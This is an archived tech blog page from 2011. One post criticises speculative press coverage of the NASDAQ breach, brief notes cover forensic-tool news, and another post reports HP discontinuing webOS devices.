I read this article recently from InformationWeek that relates to the recent breach of NASDAQ systems; I specifically say "relates" to the breach, as the article specifies, "...two experts with knowledge of Nasdaq OMX Group's internal investigation said that while attackers hadn't directly attacked trading servers...". The title of the article includes the words "3 Expected Findings", and the article is pretty much just speculation about what happened, from the get-go. In fact, the article goes on to say, "...based on recent news reports, as well as likely attack scenarios, we'll likely see these three findings:". That's a lot of "likely" in one sentence, and this much speculation is never a good thing.
My concern with this is that the overall take-away from this is going to be "NASDAQ trading systems were hit with SQL injection", and folks are going to be looking for this sort of thing...and some will find it. But others will miss what's really happening while they're looking in the wrong direction.
Other Items
F-Response TACTICAL Examiner for Linux now has a GUI
Lance Mueller has closed his blog; old posts will remain, but no new content will be posted
Friday, August 19, 2011
HP shutting down WebOS
HP Is Shutting Down Operations for TouchPad and webOS Phones
A little over a year after buying Palm, HP announced today that it will "discontinue operations for webOS devices, specifically the TouchPad and webOS phones." This is not surprising considering the crowded mobile device/tablet space. With Andriod and IOS taking the majority of the market, HP with its WebOS was not only late to the party, but got there uninvited.
Although HP's press release says the company "will continue to explore options to optimize the value of webOS software going forward," owners of the TouchPad and smartphones like the Pre 3 probably don't have much to look forward to in terms of future development and support—at least from HP.
HP is also looking at spinning off its personal computing systems group, getting out of the hardware game altogether it seems. There's not much else known except the brief announcement, but for more commentary and background you can check out Mat Honan's post on Gizmodo.
Subscribe to:
Posts (Atom)